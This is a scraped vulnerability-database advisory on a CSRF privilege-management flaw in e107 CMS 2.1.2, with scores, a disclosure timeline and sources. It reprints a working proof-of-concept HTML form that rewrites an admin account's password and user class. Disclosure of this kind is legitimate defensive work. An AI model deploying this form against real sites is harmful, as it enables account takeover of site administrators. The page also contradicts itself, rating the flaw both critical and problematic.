e107 CMS 2.1.2 CSRF Prevention privileges management

CVSS Meta Temp Score
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Current Exploit Price (≈)
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CTI Interest Score
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3.9$0-$5k0.00

Summaryinfo

A vulnerability, which was classified as critical, has been found in e107 CMS 2.1.2. This impacts an unknown function of the component CSRF Prevention. Performing a manipulation results in privileges management. The attack is possible to be carried out remotely. Moreover, an exploit is present. It is advisable to upgrade the affected component.

Detailsinfo

A vulnerability, which was classified as problematic, was found in e107 CMS 2.1.2 (Content Management System). This affects an unknown functionality of the component CSRF Prevention. The manipulation with an unknown input leads to a privileges management vulnerability. CWE is classifying the issue as CWE-269. The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor. This is going to have an impact on integrity.

The bug was discovered 05/02/2016. The weakness was disclosed 11/30/2016 with Foxmole as [FOXMOLE SA 2016-05-02] e107 Content Management System (CMS) - Multiple Issues as confirmed mailinglist post (Bugtraq). It is possible to read the advisory at seclists.org. The public release has been coordinated in cooperation with e107. It is possible to initiate the attack remotely. The successful exploitation needs a authentication. Technical details are unknown but a public exploit is available. The attack technique deployed by this issue is T1068 according to MITRE ATT&CK.

A public exploit has been developed in HTML and been published immediately after the advisory. The exploit is shared for download at seclists.org. It is declared as proof-of-concept. The vulnerability was handled as a non-public zero-day exploit for at least 212 days. During that time the estimated underground price was around $0-$5k. The code used by the exploit is:

<html>
  <body>
    <form action="http://IP/usersettings.php"; method="POST" enctype="multipart/form-data">
      <input type="hidden" name="loginname" value="admin" />
      <input type="hidden" name="email" value="admin&#64;something&#46;de" />
      <input type="hidden" name="realname" value="Max" />
      <input type="hidden" name="password1" value="Test123456" />
      <input type="hidden" name="password2" value="Test123456" />
      <input type="hidden" name="hideemail" value="0" />
      <input type="hidden" name="image" value="&#13;" />
      <input type="hidden" name="class&#91;&#93;" value="&#43;1" />
      <input type="hidden" name="signature" value="&#91;html&#93;&lt;p&gt;&lt;&#47;p&gt;&#91;&#47;html&#93;" />
      <input type="hidden" name="updatesettings" value="Save&#32;settings" />
      <input type="hidden" name="&#95;uid" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Upgrading eliminates this vulnerability.

The entries VDB-93928 and VDB-93929 are pretty similar. Be aware that VulDB is the high quality source for vulnerability data.

Productinfo

Type

Vendor

Name

Version

License

CPE 2.3info

CPE 2.2info

CVSSv4info

VulDB Vector: 🔍
VulDB Reliability: 🔍

CVSSv3info

VulDB Meta Base Score: 4.3
VulDB Meta Temp Score: 3.9

VulDB Base Score: 4.3
VulDB Temp Score: 3.9
VulDB Vector: 🔍
VulDB Reliability: 🔍

CVSSv2info

AVACAuCIA
💳💳💳💳💳💳
💳💳💳💳💳💳
💳💳💳💳💳💳
VectorComplexityAuthenticationConfidentialityIntegrityAvailability
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VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Reliability: 🔍

Researcher Base Score: 🔍

Exploitinginfo

Class: Privileges management
CWE: CWE-269 / CWE-266
CAPEC: 🔍
ATT&CK: 🔍

Physical: No
Local: No
Remote: Yes

Availability: 🔍
Access: Public
Status: Proof-of-Concept
Programming Language: 🔍
Download: 🔍
Price Prediction: 🔍
Current Price Estimation: 🔍

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Threat Intelligenceinfo

Interest: 🔍
Active Actors: 🔍
Active APT Groups: 🔍

Countermeasuresinfo

Recommended: Upgrade
Status: 🔍

0-Day Time: 🔍
Exploit Delay Time: 🔍

Timelineinfo

05/02/2016 🔍
08/19/2016 +109 days 🔍
08/20/2016 +1 days 🔍
11/30/2016 +102 days 🔍
11/30/2016 +0 days 🔍
12/02/2016 +2 days 🔍
07/11/2019 +951 days 🔍

Sourcesinfo

Advisory: [FOXMOLE SA 2016-05-02] e107 Content Management System (CMS) - Multiple Issues
Organization: Foxmole
Status: Confirmed
Coordinated: 🔍

GCVE (VulDB): GCVE-100-93927
scip Labs: https://www.scip.ch/en/?labs.20161013
See also: 🔍

Entryinfo

Created: 12/02/2016 08:21
Updated: 07/11/2019 08:40
Changes: 12/02/2016 08:21 (59), 07/11/2019 08:40 (2)
Complete: 🔍
Cache ID: 216::103

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